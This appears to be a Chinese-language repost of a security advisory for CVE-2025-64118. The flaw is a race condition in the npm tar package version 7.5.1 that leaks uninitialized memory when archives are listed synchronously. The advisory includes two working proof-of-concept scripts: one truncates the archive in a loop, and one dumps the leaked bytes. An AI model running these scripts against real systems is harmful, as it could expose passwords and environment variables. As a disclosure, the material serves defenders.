Node-tar竞争条件漏洞导致未初始化内存泄露

本文详细分析了node-tar库中的竞争条件漏洞CVE-2025-64118,该漏洞在同步读取tar文件时可能泄露未初始化内存,包含敏感信息如密码和环境变量,影响版本7.5.1,已修复于7.5.2。

Node-tar竞争条件漏洞导致未初始化内存泄露

漏洞详情

包信息

  • 包名: tar (npm)
  • 受影响版本: = 7.5.1
  • 修复版本: 7.5.2

漏洞描述

摘要

使用.t(即.list)方法配合{ sync: true }选项读取tar条目内容时,如果在读取过程中tar文件在磁盘上被更改为较小尺寸,将返回未初始化的内存内容。

详细说明

  • isaacs/node-tar#445
  • isaacs/node-tar#446

回归发生在commit isaacs/node-tar@5330eb0

概念验证

攻击脚本A:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      entry.path = entry.path.toLowerCase()
      entry.stat.mode = 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

易受攻击脚本B:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

在Node.js 22或>=25.1.0上并行运行A和B,等待一段时间即可观察到文本数据的内存转储。

影响分析

  • 暴露进程内存,可能导致意外处理敏感数据而非tar条目内容
  • 未初始化内存可能包含不相关的文件内容、环境变量、密码等
  • 攻击者必须在tar存档文件大小通过stat读取后,tar存档解析器到达被截断的条目之前,将文件大小减少到tar头部和主体块之间的边界

利用条件

  • 必须使用sync: true选项调用tar.list/tar.t方法
  • 仅影响7.5.1版本(早期版本不受影响)
  • 攻击者需要能够截断(或诱导截断/替换)磁盘上的文件
  • 如果tar文件初始大小大于opt.maxReadSize(默认为16kb),则不会向用户代码暴露未初始化内存,而是导致程序进入无限循环,造成DoS而非信息泄露漏洞

其他说明

  • 默认情况下,tar.list不处理tar存档条目主体内容
  • 此漏洞进一步依赖于用户代码在onReadEntry方法中对tar条目文件内容执行某些操作
  • 此库中的其他方法(如tar.extract等)不受此漏洞影响

参考链接

安全指标

CVSS评分

  • 总体评分: 6.1(中等严重性)

CVSS v4基础指标

  • 攻击向量: 本地
  • 攻击复杂度: 高
  • 攻击要求: 存在
  • 所需权限: 低
  • 用户交互: 被动

弱点分类

  • CWE-362: 使用共享资源的并发执行与不当同步(竞争条件)

元数据

  • CVE ID: CVE-2025-64118
  • GHSA ID: GHSA-29xp-372q-xqph
  • 源代码: isaacs/node-tar
  • 报告者: ChALkeR
  • 发布时间: 2025年10月30日
  • 最后更新: 2025年10月30日
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计